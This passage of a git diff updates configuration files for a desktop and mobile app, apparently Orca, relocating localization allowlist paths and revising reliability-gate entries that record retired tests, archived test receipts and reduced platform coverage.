 2 src/main/persistence/migrating-orcad-catalog/orcad-destination-client-state.ts
diff --git a/config/main-sync-fs-baseline.txt b/config/main-sync-fs-baseline.txt
index 1026db7975b..9269e3fea5e 100644
--- a/config/main-sync-fs-baseline.txt
+++ b/config/main-sync-fs-baseline.txt
@@ -482,7 +482,7 @@
 2 src/main/runtime/mobile-cloud-relay/relay-revoke-outbox.ts
 1 src/main/runtime/orchestration/db/runtime-orchestration-database-access.ts
 2 src/main/runtime/push/push-unregister-outbox.ts
-2 src/main/runtime/rpc/methods/mobile-delivery/bundled-mobile-web-bundle.ts
+1 src/main/runtime/rpc/methods/mobile-delivery/bundled-mobile-web-bundle.ts
 1 src/main/runtime/rpc/server/network-source-policy-store.ts
 2 src/main/runtime/rpc/server/pairing/device-registry-corruption.ts
 2 src/main/runtime/rpc/server/pairing/device-registry-disk-merge.ts
diff --git a/config/mobile-localization-coverage-allowlist.json b/config/mobile-localization-coverage-allowlist.json
index 113c65c34da..594bc0a7919 100644
--- a/config/mobile-localization-coverage-allowlist.json
+++ b/config/mobile-localization-coverage-allowlist.json
@@ -42,70 +42,70 @@
     "count": 1
   },
   {
-    "filePath": "mobile/src/components/accounts-snapshot.ts",
+    "filePath": "mobile/src/accounts/accounts-snapshot.ts",
     "kind": "object-property:message",
     "text": "Claude limits use the wrong provider identity",
     "dynamic": false,
     "count": 1
   },
   {
-    "filePath": "mobile/src/components/accounts-snapshot.ts",
+    "filePath": "mobile/src/accounts/accounts-snapshot.ts",
     "kind": "object-property:message",
     "text": "Codex limits use the wrong provider identity",
     "dynamic": false,
     "count": 1
   },
   {
-    "filePath": "mobile/src/components/accounts-snapshot.ts",
+    "filePath": "mobile/src/accounts/accounts-snapshot.ts",
     "kind": "object-property:message",
     "text": "Host Codex accounts cannot name a WSL distro",
     "dynamic": false,
     "count": 1
   },
   {
-    "filePath": "mobile/src/components/accounts-snapshot.ts",
+    "filePath": "mobile/src/accounts/accounts-snapshot.ts",
     "kind": "object-property:message",
     "text": "Host rate-limit targets cannot name a WSL distro",
     "dynamic": false,
     "count": 1
   },
   {
-    "filePath": "mobile/src/components/accounts-snapshot.ts",
+    "filePath": "mobile/src/accounts/accounts-snapshot.ts",
     "kind": "object-property:message",
     "text": "Inactive Claude limits use the wrong provider identity",
     "dynamic": false,
     "count": 1
   },
   {
-    "filePath": "mobile/src/components/accounts-snapshot.ts",
+    "filePath": "mobile/src/accounts/accounts-snapshot.ts",
     "kind": "object-property:message",
     "text": "Inactive Codex limits use the wrong provider identity",
     "dynamic": false,
     "count": 1
   },
   {
-    "filePath": "mobile/src/components/accounts-snapshot.ts",
+    "filePath": "mobile/src/accounts/accounts-snapshot.ts",
     "kind": "object-property:message",
     "text": "WSL Codex accounts require an exact distro",
     "dynamic": false,
     "count": 1
   },
   {
-    "filePath": "mobile/src/components/accounts-snapshot.ts",
+    "filePath": "mobile/src/accounts/accounts-snapshot.ts",
     "kind": "object-property:message",
     "text": "WSL rate-limit targets require an exact distro",
     "dynamic": false,
     "count": 1
   },
   {
-    "filePath": "mobile/src/components/codex-reset-credit-reply-schema.ts",
+    "filePath": "mobile/src/accounts/usage/codex-reset-credit-reply-schema.ts",
     "kind": "object-property:message",
     "text": "Host reset scopes cannot name a WSL distro",
     "dynamic": false,
     "count": 1
   },
   {
-    "filePath": "mobile/src/components/codex-reset-credit-reply-schema.ts",
+    "filePath": "mobile/src/accounts/usage/codex-reset-credit-reply-schema.ts",
     "kind": "object-property:message",
     "text": "WSL reset scopes require an exact distro",
     "dynamic": false,
diff --git a/config/reliability-gates.jsonc b/config/reliability-gates.jsonc
index 90b27e1136b..5eddf652fd5 100644
--- a/config/reliability-gates.jsonc
+++ b/config/reliability-gates.jsonc
@@ -1223,12 +1223,12 @@
       ],
       "platforms": ["macos", "linux", "windows"],
       "providers": ["remote-runtime"],
-      "coveredPlatforms": ["macos", "linux"],
+      "coveredPlatforms": ["macos"],
       "coveredProviders": [],
-      "coverageNotes": "Audit1348 changes referenced sources. Retained unchanged-source receipts apply only to their unchanged commands; the reduced selectors have no new execution result. Historical coverage account (not a current claim for changed sources): Real authenticated sockets plus isolated desktop and headless hosts with desktop and browser viewers; deterministic lifecycle tests cover stale results and reader deadlines. The test-value audit removes the standalone runtime-status-snapshot.test.ts example that immediately applied the same supplied snapshots to two isolated slice stores. Its direct sequence-2 then older unavailable sequence-1 acceptance/rejection alarm is intentionally lost; it did not exercise a pending read, subscription delivery or a shared viewer connection. The suite retains failed-verification/recovery, disconnect/pairing retirement and catalog-refresh replay examples, which are not equivalent replacements. Historical executed commands, counts and results remain unchanged; no new live host, process restart or platform evidence is claimed. Audit1348: src/main/ipc/runtime-environments/runtime-environment-status-recovery.test.ts removed. Startup retry/broadcast counts and passive-before-active bootstrap request count. No equivalent replacement coverage is claimed. Audit1352: focused Linux unit selections validated on source head b638e07d395b76af3ba6b03761a1a0fe7e5e026e. Historical statements above retain their original scope. Intentional test losses are recorded in knownGaps; these runs claim no physical-provider, p95, rendered E2E or cross-platform validation. The current assertion index names unchanged owner lifecycle tests from the successful focused run. They do not replace the deleted startup retry/broadcast count alarms. Audit1360: focused Linux unit selections validated on source head 415c9cffc2d10024131ec4b6721767a22195de6d. Historical statements above retain their original scope. Intentional test losses are recorded in knownGaps; these runs claim no physical-provider, p95, rendered E2E or cross-platform validation. Audit1748 removes7 of13 authored host-status-owner definitions: request/polling counts, reconnect/no-request variants, deadline copy and blocked-reason projections. Lost alarms are intentional; no equivalent replacement coverage is claimed. Existing dated evidenceRuns are historical and unchanged, and do not validate this reduced source or current aggregate selectors. Focused candidate execution, if successful, validates only the retained local fake-request/clock tests, not authenticated sockets, rendered clients or platform parity.",
+      "coverageNotes": "Audit 3301 removes the failed-verification/recovery/restart generation and host-contact-epoch, hosting and no-toast example from runtime-status-snapshot.test.ts. Earlier prose describing that example as retained is historical. Disconnect/pairing retirement and delayed catalog replay remain unchanged without equivalent replacement. Archive both complete historical 22-case unit receipts because their selector includes the reduced source; preserve the unrelated rendered receipt, current selectors and other-owner assertion references. No fresh aggregate or live host validation is claimed. Linux coverage from those two unit runs is historical; current covered-platform scope is limited to the preserved macOS rendered receipt. Audit1348 changes referenced sources. Retained unchanged-source receipts apply only to their unchanged commands; the reduced selectors have no new execution result. Historical coverage account (not a current claim for changed sources): Real authenticated sockets plus isolated desktop and headless hosts with desktop and browser viewers; deterministic lifecycle tests cover stale results and reader deadlines. The test-value audit removes the standalone runtime-status-snapshot.test.ts example that immediately applied the same supplied snapshots to two isolated slice stores. Its direct sequence-2 then older unavailable sequence-1 acceptance/rejection alarm is intentionally lost; it did not exercise a pending read, subscription delivery or a shared viewer connection. The suite retains failed-verification/recovery, disconnect/pairing retirement and catalog-refresh replay examples, which are not equivalent replacements. Historical executed commands, counts and results remain unchanged; no new live host, process restart or platform evidence is claimed. Audit1348: src/main/ipc/runtime-environments/runtime-environment-status-recovery.test.ts removed. Startup retry/broadcast counts and passive-before-active bootstrap request count. No equivalent replacement coverage is claimed. Audit1352: focused Linux unit selections validated on source head b638e07d395b76af3ba6b03761a1a0fe7e5e026e. Historical statements above retain their original scope. Intentional test losses are recorded in knownGaps; these runs claim no physical-provider, p95, rendered E2E or cross-platform validation. The current assertion index names unchanged owner lifecycle tests from the successful focused run. They do not replace the deleted startup retry/broadcast count alarms. Audit1360: focused Linux unit selections validated on source head 415c9cffc2d10024131ec4b6721767a22195de6d. Historical statements above retain their original scope. Intentional test losses are recorded in knownGaps; these runs claim no physical-provider, p95, rendered E2E or cross-platform validation. Audit1748 removes7 of13 authored host-status-owner definitions: request/polling counts, reconnect/no-request variants, deadline copy and blocked-reason projections. Lost alarms are intentional; no equivalent replacement coverage is claimed. Existing dated evidenceRuns are historical and unchanged, and do not validate this reduced source or current aggregate selectors. Focused candidate execution, if successful, validates only the retained local fake-request/clock tests, not authenticated sockets, rendered clients or platform parity.",
       "motivatingLinks": ["https://github.com/stablyai/orca/pull/19163"],
       "invariant": "Failed bootstrap and authenticated reconnect converge without UI triggers; one connection owner publishes verified status, with no independent healthy status polling.",
-      "oracle": "Retained local cases check independent waiter deadlines/cancellation, failed-operation recovery, stale deferred results, disposal and explicit reconnect after authentication refusal. Historical aggregate receipts predate audit1748 and are not fresh validation of reduced sources.",
+      "oracle": "Audit 3301 removes the failed-verification/recovery/restart generation and host-contact-epoch, hosting and no-toast example from runtime-status-snapshot.test.ts. Earlier prose describing that example as retained is historical. Disconnect/pairing retirement and delayed catalog replay remain unchanged without equivalent replacement. Archive both complete historical 22-case unit receipts because their selector includes the reduced source; preserve the unrelated rendered receipt, current selectors and other-owner assertion references. No fresh aggregate or live host validation is claimed. Linux coverage from those two unit runs is historical; current covered-platform scope is limited to the preserved macOS rendered receipt. Retained local cases check independent waiter deadlines/cancellation, failed-operation recovery, stale deferred results, disposal and explicit reconnect after authentication refusal. Historical aggregate receipts predate audit1748 and are not fresh validation of reduced sources.",
       "commands": [
         "ORCA_BACKGROUND_LAUNCH=1 pnpm test src/shared/remote-runtime/host-status/runtime-host-status-owner.test.ts src/main/ipc/runtime-environments/runtime-environment-status-connection.test.ts src/renderer/src/store/slices/runtime-status/runtime-status-snapshot.test.ts src/renderer/src/web/web-runtime-status-owner.test.ts",
         "ORCA_BACKGROUND_LAUNCH=1 ORCA_E2E_WEB_CLIENT=1 pnpm exec playwright test tests/e2e/runtime-host-status-recovery.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1"
@@ -1258,26 +1258,6 @@
           "result": "passed",
           "summary": "Desktop-host and headless-host journeys passed with desktop and browser viewers.",
           "durationSeconds": 31.3
-        },
-        {
-          "date": "2026-11-04",
-          "runner": "local",
-          "platform": "linux",
-          "result": "passed",
-          "command": "ORCA_BACKGROUND_LAUNCH=1 pnpm --config.verifyDepsBeforeRun=false test src/main/ipc/runtime-environments/runtime-environment-status-connection.test.ts src/renderer/src/store/slices/runtime-status-snapshot.test.ts src/renderer/src/web/web-runtime-status-owner.test.ts src/shared/remote-runtime/host-status/runtime-host-status-owner.test.ts --maxWorkers=2",
-          "currentCommand": "ORCA_BACKGROUND_LAUNCH=1 pnpm test src/shared/remote-runtime/host-status/runtime-host-status-owner.test.ts src/main/ipc/runtime-environments/runtime-environment-status-connection.test.ts src/renderer/src/store/slices/runtime-status/runtime-status-snapshot.test.ts src/renderer/src/web/web-runtime-status-owner.test.ts",
-          "durationSeconds": 4.37,
-          "summary": "Test Files  4 passed (4); Tests  22 passed (22). Focused Linux unit execution; no physical-provider, p95 or cross-platform claim. Source head b638e07d395b76af3ba6b03761a1a0fe7e5e026e."
-        },
-        {
-          "date": "2026-11-04",
-          "runner": "local",
-          "platform": "linux",
-          "result": "passed",
-          "command": "ORCA_BACKGROUND_LAUNCH=1 pnpm --config.verifyDepsBeforeRun=false test src/main/ipc/runtime-environments/runtime-environment-status-connection.test.ts src/renderer/src/store/slices/runtime-status-snapshot.test.ts src/renderer/src/web/web-runtime-status-owner.test.ts src/shared/remote-runtime/host-status/runtime-host-status-owner.test.ts --maxWorkers=2",
-          "currentCommand": "ORCA_BACKGROUND_LAUNCH=1 pnpm test src/shared/remote-runtime/host-status/runtime-host-status-owner.test.ts src/main/ipc/runtime-environments/runtime-environment-status-connection.test.ts src/renderer/src/store/slices/runtime-status/runtime-status-snapshot.test.ts src/renderer/src/web/web-runtime-status-owner.test.ts",
-          "durationSeconds": 4.52,
-          "summary": "Test Files  4 passed (4); Tests  22 passed (22). Focused Linux unit execution; no physical-provider, p95 or cross-platform claim. Source head 415c9cffc2d10024131ec4b6721767a22195de6d."
         }
       ],
       "runtimeBudget": {
@@ -1305,7 +1285,10 @@
         "The test-value audit removes the standalone runtime-status-snapshot.test.ts example that immediately applied the same supplied snapshots to two isolated slice stores. Its direct sequence-2 then older unavailable sequence-1 acceptance/rejection alarm is intentionally lost; it did not exercise a pending read, subscription delivery or a shared viewer connection. The suite retains failed-verification/recovery, disconnect/pairing retirement and catalog-refresh replay examples, which are not equivalent replacements. Historical executed commands, counts and results remain unchanged; no new live host, process restart or platform evidence is claimed.",
         "Audit1348: src/main/ipc/runtime-environments/runtime-environment-status-recovery.test.ts removed. Startup retry/broadcast counts and passive-before-active bootstrap request count. No equivalent replacement coverage is claimed.",
         "Audit1348 historical platform/provider scope before source changes: {\"coveredPlatforms\":[\"macos\"],\"coveredProviders\":[\"remote-runtime\"]}. Remaining provider scope applies only to unchanged-source receipts.",
-        "Audit1348 historical assertion inventory for deleted/reduced sources; not current validated assertions:\n[\n  {\n    \"file\": \"src/main/ipc/runtime-environments/runtime-environment-status-recovery.test.ts\",\n    \"assertions\": [\n      \"recovers a saved host after its first status check fails, without another UI request\"\n    ]\n  }\n]"
+        "Audit1348 historical assertion inventory for deleted/reduced sources; not current validated assertions:\n[\n  {\n    \"file\": \"src/main/ipc/runtime-environments/runtime-environment-status-recovery.test.ts\",\n    \"assertions\": [\n      \"recovers a saved host after its first status check fails, without another UI request\"\n    ]\n  }\n]",
+        "Audit 3301 removes the failed-verification/recovery/restart generation and host-contact-epoch, hosting and no-toast example from runtime-status-snapshot.test.ts. Earlier prose describing that example as retained is historical. Disconnect/pairing retirement and delayed catalog replay remain unchanged without equivalent replacement. Archive both complete historical 22-case unit receipts because their selector includes the reduced source; preserve the unrelated rendered receipt, current selectors and other-owner assertion references. No fresh aggregate or live host validation is claimed. Linux coverage from those two unit runs is historical; current covered-platform scope is limited to the preserved macOS rendered receipt.",
+        "Audit 3301 retires this complete dated unit receipt because runtime-status-snapshot.test.ts was reduced. Its original command, result and counts remain historical and do not validate the reduced selector. Original receipt verbatim:\n{\n          \"date\": \"2026-11-04\",\n          \"runner\": \"local\",\n          \"platform\": \"linux\",\n          \"result\": \"passed\",\n          \"command\": \"ORCA_BACKGROUND_LAUNCH=1 pnpm --config.verifyDepsBeforeRun=false test src/main/ipc/runtime-environments/runtime-environment-status-connection.test.ts src/renderer/src/store/slices/runtime-status-snapshot.test.ts src/renderer/src/web/web-runtime-status-owner.test.ts src/shared/remote-runtime/host-status/runtime-host-status-owner.test.ts --maxWorkers=2\",\n          \"currentCommand\": \"ORCA_BACKGROUND_LAUNCH=1 pnpm test src/shared/remote-runtime/host-status/runtime-host-status-owner.test.ts src/main/ipc/runtime-environments/runtime-environment-status-connection.test.ts src/renderer/src/store/slices/runtime-status/runtime-status-snapshot.test.ts src/renderer/src/web/web-runtime-status-owner.test.ts\",\n          \"durationSeconds\": 4.37,\n          \"summary\": \"Test Files  4 passed (4); Tests  22 passed (22). Focused Linux unit execution; no physical-provider, p95 or cross-platform claim. Source head b638e07d395b76af3ba6b03761a1a0fe7e5e026e.\"\n        }",
+        "Audit 3301 retires this complete dated unit receipt because runtime-status-snapshot.test.ts was reduced. Its original command, result and counts remain historical and do not validate the reduced selector. Original receipt verbatim:\n{\n          \"date\": \"2026-11-04\",\n          \"runner\": \"local\",\n          \"platform\": \"linux\",\n          \"result\": \"passed\",\n          \"command\": \"ORCA_BACKGROUND_LAUNCH=1 pnpm --config.verifyDepsBeforeRun=false test src/main/ipc/runtime-environments/runtime-environment-status-connection.test.ts src/renderer/src/store/slices/runtime-status-snapshot.test.ts src/renderer/src/web/web-runtime-status-owner.test.ts src/shared/remote-runtime/host-status/runtime-host-status-owner.test.ts --maxWorkers=2\",\n          \"currentCommand\": \"ORCA_BACKGROUND_LAUNCH=1 pnpm test src/shared/remote-runtime/host-status/runtime-host-status-owner.test.ts src/main/ipc/runtime-environments/runtime-environment-status-connection.test.ts src/renderer/src/store/slices/runtime-status/runtime-status-snapshot.test.ts src/renderer/src/web/web-runtime-status-owner.test.ts\",\n          \"durationSeconds\": 4.52,\n          \"summary\": \"Test Files  4 passed (4); Tests  22 passed (22). Focused Linux unit execution; no physical-provider, p95 or cross-platform claim. Source head 415c9cffc2d10024131ec4b6721767a22195de6d.\"\n        }"
       ],
       "demotionRule": "Keep experimental until repeated runs establish reliability; preserve request-count and lifecycle assertions."
     },
@@ -1605,71 +1588,35 @@
       "id": "agent-session.hibernation-runtime-inventory-budget",
       "title": "Hibernation preserves fresh host evidence and shutdown safety",
       "maturity": "experimental",
-      "protection": "partial",
+      "protection": "none",
       "owner": "agent-session-runtime",
       "layer": "shared-and-renderer-unit",
       "surfaces": ["automatic agent hibernation", "remote terminal liveness"],
       "platforms": ["macos", "linux", "windows"],
       "providers": ["local", "remote-runtime"],
-      "coveredPlatforms": ["linux"],
-      "coveredProviders": ["local", "remote-runtime"],
-      "coverageNotes": "Audit2058 intentionally retires the standalone visibility subscription/callback-count alarm without replacement. Audit2310 additionally retires two pane-age getter-map expiry/pruning samples without equivalent replacement. The reduced five-source hibernation selector was freshly run on Linux:52 tests pass. The earlier 54-test receipt is archived verbatim in knownGaps and does not validate the reduced source. Its prior macOS execution receipt/current-command association is archived verbatim in knownGaps and is not current execution evidence for the reduced selector. Current covered platform is Linux; remote replies remain scripted, with no live SSH/WSL/native provider or p95 claim. Historical prior account (preserved verbatim): Local hibernation, remote inventory authority and folder-workspace identity are covered by coordinator/model contracts on macOS. Daemon, SSH, WSL, relay and native platform execution boundaries and existing RPC payloads are unchanged. Current assertions cover shutdown safety and owning-host selection; historical inventory-count and performance evidence below is retained for provenance and is not current count coverage.",
+      "coveredPlatforms": [],
+      "coveredProviders": [],
+      "coverageNotes": "Audit3368 retires the whole hibernation coordinator suite and intentionally loses supplied inventory/liveness/attention/confirmation/changed-workspace/sequential teardown alarms without equivalent replacement. The sole compound dated receipt is retired verbatim; no shortened command inherits its results. With no active evidence, protection/platform/provider evidence clears and ALL current commands/testFiles/assertionRefs are retired as complete original arrays in historical gaps. Other source files remain in the broad suite. Prior red/green/flake accounts are historical only; no fresh runtime/provider/UI/mobile/mixed-version/cross-platform evidence is claimed. Audit2058 intentionally retires the standalone visibility subscription/callback-count alarm without replacement. Audit2310 additionally retires two pane-age getter-map expiry/pruning samples without equivalent replacement. The reduced five-source hibernation selector was freshly run on Linux:52 tests pass. The earlier 54-test receipt is archived verbatim in knownGaps and does not validate the reduced source. Its prior macOS execution receipt/current-command association is archived verbatim in knownGaps and is not current execution evidence for the reduced selector. Current covered platform is Linux; remote replies remain scripted, with no live SSH/WSL/native provider or p95 claim. Historical prior account (preserved verbatim): Local hibernation, remote inventory authority and folder-workspace identity are covered by coordinator/model contracts on macOS. Daemon, SSH, WSL, relay and native platform execution boundaries and existing RPC payloads are unchanged. Current assertions cover shutdown safety and owning-host selection; historical inventory-count and performance evidence below is retained for provenance and is not current count coverage.",
       "motivatingLinks": [
         "https://github.com/stablyai/orca/blob/main/src/renderer/src/lib/agent-hibernation-coordinator.test.ts"
       ],
       "invariant": "Automatic hibernation must retain two stable confirmations and fresh execution-host evidence before shutdown. Skipping a workspace with no completed agent must not authorize a newly completed pane using stale client PTYs.",
-      "oracle": "Audit2058 intentionally retires the standalone visibility subscription/callback-count alarm without replacement. Audit2310 additionally retires two pane-age getter-map expiry/pruning samples without equivalent replacement. The reduced five-source hibernation selector was freshly run on Linux:52 tests pass. The earlier 54-test receipt is archived verbatim in knownGaps and does not validate the reduced source. Its prior macOS execution receipt/current-command association is archived verbatim in knownGaps and is not current execution evidence for the reduced selector. Current covered platform is Linux; remote replies remain scripted, with no live SSH/WSL/native provider or p95 claim. Historical prior account (preserved verbatim): Working and waiting agents across remote workspaces must not be shut down. A skipped workspace completing while another inventory awaits remains ineligible until two later host-confirmed passes, and so does a workspace that only becomes runtime-owned while an inventory is outstanding — a pass carrying no host evidence for a workspace never counts as one of its two confirmations. Folder and git workspaces hibernate the exact host PTY; rejected/truncated inventories and intervening input/output or state changes block shutdown.",
-      "commands": [
-        "ORCA_BACKGROUND_LAUNCH=1 pnpm test src/renderer/src/lib/agent-session/hibernation/agent-hibernation-coordinator.test.ts src/renderer/src/lib/agent-session/hibernation/agent-hibernation-planner.test.ts src/renderer/src/lib/agent-session/hibernation/agent-hibernation-pane-age.test.ts src/renderer/src/components/terminal-pane/parking/retention/foreground-terminal-tabs.test.ts src/renderer/src/lib/agent-session/hibernation/agent-hibernation-runtime-liveness-race.test.ts --maxWorkers=2"
-      ],
-      "testFiles": [
-        "src/renderer/src/lib/agent-session/hibernation/agent-hibernation-coordinator.test.ts",
-        "src/renderer/src/lib/agent-session/hibernation/agent-hibernation-planner.test.ts",
-        "src/renderer/src/lib/agent-session/hibernation/agent-hibernation-pane-age.test.ts",
-        "src/renderer/src/components/terminal-pane/parking/retention/foreground-terminal-tabs.test.ts",
-        "src/renderer/src/lib/agent-session/hibernation/agent-hibernation-runtime-liveness-race.test.ts"
-      ],
-      "assertionRefs": [
-        {
-          "file": "src/renderer/src/lib/agent-session/hibernation/agent-hibernation-coordinator.test.ts",
-          "assertions": [
-            "does not hibernate working or waiting agents across remote workspaces",
-            "requires host evidence after a skipped workspace completes during another inventory request",
-            "hibernates a runtime-backed candidate in %s with fresh liveness and exact PTYs",
-            "fails closed on truncated runtime liveness samples",
-            "fails closed when fresh runtime liveness rejects after an earlier good sample"
-          ]
-        },
-        {
-          "file": "src/renderer/src/lib/agent-session/hibernation/agent-hibernation-runtime-liveness-race.test.ts",
-          "assertions": [
-            "requires host evidence when a workspace becomes runtime-owned during an inventory request"
-          ]
-        }
-      ],
-      "evidenceRuns": [
-        {
-          "date": "2026-11-08",
-          "runner": "local",
-          "platform": "linux",
-          "command": "ORCA_BACKGROUND_LAUNCH=1 pnpm test src/renderer/src/lib/agent-session/hibernation/agent-hibernation-coordinator.test.ts src/renderer/src/lib/agent-session/hibernation/agent-hibernation-planner.test.ts src/renderer/src/lib/agent-session/hibernation/agent-hibernation-pane-age.test.ts src/renderer/src/lib/foreground-terminal-tabs.test.ts src/renderer/src/lib/agent-session/hibernation/agent-hibernation-runtime-liveness-race.test.ts --maxWorkers=2",
-          "currentCommand": "ORCA_BACKGROUND_LAUNCH=1 pnpm test src/renderer/src/lib/agent-session/hibernation/agent-hibernation-coordinator.test.ts src/renderer/src/lib/agent-session/hibernation/agent-hibernation-planner.test.ts src/renderer/src/lib/agent-session/hibernation/agent-hibernation-pane-age.test.ts src/renderer/src/components/terminal-pane/parking/retention/foreground-terminal-tabs.test.ts src/renderer/src/lib/agent-session/hibernation/agent-hibernation-runtime-liveness-race.test.ts --maxWorkers=2",
-          "result": "passed",
-          "durationSeconds": 5.426,
-          "summary": "52 tests across the five coordinator/planner/age/foreground/liveness-race files passed on public parent60aee85d9182f602af45cf5f6facae7257670061 plus the audit2310 test-removal candidate (source tree da2595af5391e9fa07a924ac69afede47ad31906). Includes the reduced two-case pane-age suite. Scripted runtime contracts; no live SSH/native WSL, soak or measured p95 claim."
-        }
-      ],
+      "oracle": "Audit3368 retires the whole hibernation coordinator suite and intentionally loses supplied inventory/liveness/attention/confirmation/changed-workspace/sequential teardown alarms without equivalent replacement. The sole compound dated receipt is retired verbatim; no shortened command inherits its results. With no active evidence, protection/platform/provider evidence clears and ALL current commands/testFiles/assertionRefs are retired as complete original arrays in historical gaps. Other source files remain in the broad suite. Prior red/green/flake accounts are historical only; no fresh runtime/provider/UI/mobile/mixed-version/cross-platform evidence is claimed. Audit2058 intentionally retires the standalone visibility subscription/callback-count alarm without replacement. Audit2310 additionally retires two pane-age getter-map expiry/pruning samples without equivalent replacement. The reduced five-source hibernation selector was freshly run on Linux:52 tests pass. The earlier 54-test receipt is archived verbatim in knownGaps and does not validate the reduced source. Its prior macOS execution receipt/current-command association is archived verbatim in knownGaps and is not current execution evidence for the reduced selector. Current covered platform is Linux; remote replies remain scripted, with no live SSH/WSL/native provider or p95 claim. Historical prior account (preserved verbatim): Working and waiting agents across remote workspaces must not be shut down. A skipped workspace completing while another inventory awaits remains ineligible until two later host-confirmed passes, and so does a workspace that only becomes runtime-owned while an inventory is outstanding — a pass carrying no host evidence for a workspace never counts as one of its two confirmations. Folder and git workspaces hibernate the exact host PTY; rejected/truncated inventories and intervening input/output or state changes block shutdown.",
+      "commands": [],
+      "testFiles": [],
+      "assertionRefs": [],
+      "evidenceRuns": [],
       "runtimeBudget": {
         "p95Seconds": 60,
         "scope": "Focused unit/provider-contract suite; local runtime budget, not an established p95."
       },
       "flakeHistory": {
-        "status": "not-started",
-        "evidence": "Initial local validation; no CI soak history."
+        "status": "unknown",
+        "evidence": "Audit3368 retires sole active dated receipt. No fresh execution/soak validates current coverage; complete original account preserved verbatim as history."
       },
       "redGreenEvidence": {
-        "status": "complete",
-        "evidence": "Baseline made 101 runtime calls in the new no-completed-agent fixture; candidate makes zero. Existing confirmation, final recheck and failure-path assertions continue to pass, including completion during an outstanding request. Separately, baseline hibernated a workspace that became runtime-owned mid-inventory one tick early, taking its first confirmation from a pass planned entirely from client PTYs; candidate withholds that pass and requires two host-confirmed ones."
+        "status": "missing",
+        "evidence": "Audit3368 changes/deletes referenced sources. No fresh red/green proof validates reduced coverage; original complete account preserved verbatim in knownGaps as history."
       },
       "performanceBudget": {
         "required": true,
@@ -1680,7 +1627,17 @@
         "This improves the experimental automatic hibernation path only; it does not remove inventories for workspaces that contain completed agents.",
         "Historical audit2058 coverage note before audit2310, preserved verbatim; not current execution evidence: Audit2058 intentionally retires the standalone visibility subscription/callback-count alarm without replacement. The remaining five-source hibernation selector was freshly run on Linux:54 tests pass. Its prior macOS execution receipt/current-command association is archived verbatim in knownGaps and is not current execution evidence for the reduced selector. Current covered platform is Linux; remote replies remain scripted, with no live SSH/WSL/native provider or p95 claim.",
         "Audit2058 archives this exact historical receipt after deleting a selector in its currentCommand; historical provenance only, not current execution evidence:\n{\n          \"date\": \"2026-09-07\",\n          \"runner\": \"local\",\n          \"platform\": \"macos\",\n          \"command\": \"ORCA_BACKGROUND_LAUNCH=1 pnpm test src/renderer/src/lib/agent-hibernation-coordinator.test.ts src/renderer/src/lib/agent-hibernation-planner.test.ts src/renderer/src/lib/agent-hibernation-confirmation.test.ts src/renderer/src/lib/agent-hibernation-pane-age.test.ts src/renderer/src/lib/agent-hibernation-output-activity.test.ts src/renderer/src/lib/agent-hibernation-visibility.test.ts src/renderer/src/lib/foreground-terminal-tabs.test.ts src/renderer/src/lib/agent-hibernation-runtime-liveness-race.test.ts\",\n          \"currentCommand\": \"ORCA_BACKGROUND_LAUNCH=1 pnpm test src/renderer/src/lib/agent-session/hibernation/agent-hibernation-coordinator.test.ts src/renderer/src/lib/agent-session/hibernation/agent-hibernation-planner.test.ts src/renderer/src/lib/agent-session/hibernation/agent-hibernation-pane-age.test.ts src/renderer/src/lib/agent-session/hibernation/agent-hibernation-visibility.test.ts src/renderer/src/lib/foreground-terminal-tabs.test.ts src/renderer/src/lib/agent-session/hibernation/agent-hibernation-runtime-liveness-race.test.ts\",\n          \"result\": \"passed\",\n          \"durationSeconds\": 48.18,\n          \"summary\": \"93 tests passed across eight coordinator, liveness-race, planner, confirmation, age, activity and visibility files.\"\n        }",
-        "Historical receipt retired by audit2310 because two pane-age getter-map registrations were removed; original record preserved verbatim, not current execution evidence:\n{\n          \"date\": \"2026-11-08\",\n          \"runner\": \"local\",\n          \"platform\": \"linux\",\n          \"command\": \"ORCA_BACKGROUND_LAUNCH=1 pnpm test src/renderer/src/lib/agent-session/hibernation/agent-hibernation-coordinator.test.ts src/renderer/src/lib/agent-session/hibernation/agent-hibernation-planner.test.ts src/renderer/src/lib/agent-session/hibernation/agent-hibernation-pane-age.test.ts src/renderer/src/lib/foreground-terminal-tabs.test.ts src/renderer/src/lib/agent-session/hibernation/agent-hibernation-runtime-liveness-race.test.ts --maxWorkers=2\",\n          \"result\": \"passed\",\n          \"durationSeconds\": 7.377,\n          \"summary\": \"54 tests across five unchanged coordinator/planner/age/foreground/liveness-race files passed on the actual39644 squash plus test-removal candidate. Reduced selector only; scripted runtime contracts, no live SSH/native WSL, soak or measured p95 claim.\"\n        }"
+        "Historical receipt retired by audit2310 because two pane-age getter-map registrations were removed; original record preserved verbatim, not current execution evidence:\n{\n          \"date\": \"2026-11-08\",\n          \"runner\": \"local\",\n          \"platform\": \"linux\",\n          \"command\": \"ORCA_BACKGROUND_LAUNCH=1 pnpm test src/renderer/src/lib/agent-session/hibernation/agent-hibernation-coordinator.test.ts src/renderer/src/lib/agent-session/hibernation/agent-hibernation-planner.test.ts src/renderer/src/lib/agent-session/hibernation/agent-hibernation-pane-age.test.ts src/renderer/src/lib/foreground-terminal-tabs.test.ts src/renderer/src/lib/agent-session/hibernation/agent-hibernation-runtime-liveness-race.test.ts --maxWorkers=2\",\n          \"result\": \"passed\",\n          \"durationSeconds\": 7.377,\n          \"summary\": \"54 tests across five unchanged coordinator/planner/age/foreground/liveness-race files passed on the actual39644 squash plus test-removal candidate. Reduced selector only; scripted runtime contracts, no live SSH/native WSL, soak or measured p95 claim.\"\n        }",
+        "Audit3368 retires the whole hibernation coordinator suite and intentionally loses supplied inventory/liveness/attention/confirmation/changed-workspace/sequential teardown alarms without equivalent replacement. The sole compound dated receipt is retired verbatim; no shortened command inherits its results. With no active evidence, protection/platform/provider evidence clears and ALL current commands/testFiles/assertionRefs are retired as complete original arrays in historical gaps. Other source files remain in the broad suite. Prior red/green/flake accounts are historical only; no fresh runtime/provider/UI/mobile/mixed-version/cross-platform evidence is claimed.",
+        "Audit3368 historical original commands object, preserved verbatim; retired claims are not active evidence or replacement coverage:\n[\n        \"ORCA_BACKGROUND_LAUNCH=1 pnpm test src/renderer/src/lib/agent-session/hibernation/agent-hibernation-coordinator.test.ts src/renderer/src/lib/agent-session/hibernation/agent-hibernation-planner.test.ts src/renderer/src/lib/agent-session/hibernation/agent-hibernation-pane-age.test.ts src/renderer/src/components/terminal-pane/parking/retention/foreground-terminal-tabs.test.ts src/renderer/src/lib/agent-session/hibernation/agent-hibernation-runtime-liveness-race.test.ts --maxWorkers=2\"\n      ]",
